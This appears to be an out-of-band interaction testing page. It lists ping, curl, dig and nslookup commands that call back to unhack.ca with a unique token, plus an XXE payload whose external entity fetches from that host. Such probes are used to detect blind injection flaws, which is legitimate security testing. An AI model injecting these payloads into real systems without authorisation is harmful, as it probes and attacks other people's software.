$ ping -c1 -p 00c917d7fdbad1369db86d9024622500 unhack.ca
 
$ curl http://unhack.ca/p/c917d7fdbad1369db86d90246225
 
$ dig c917d7fdbad1369db86d90246225 @unhack.ca
 
$ dig c917d7fdbad1369db86d90246225.ns.unhack.ca
 
C:\> nslookup c917d7fdbad1369db86d90246225 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c917d7fdbad1369db86d90246225">]>
    <foo>&xxe;</foo>
Waiting for ping...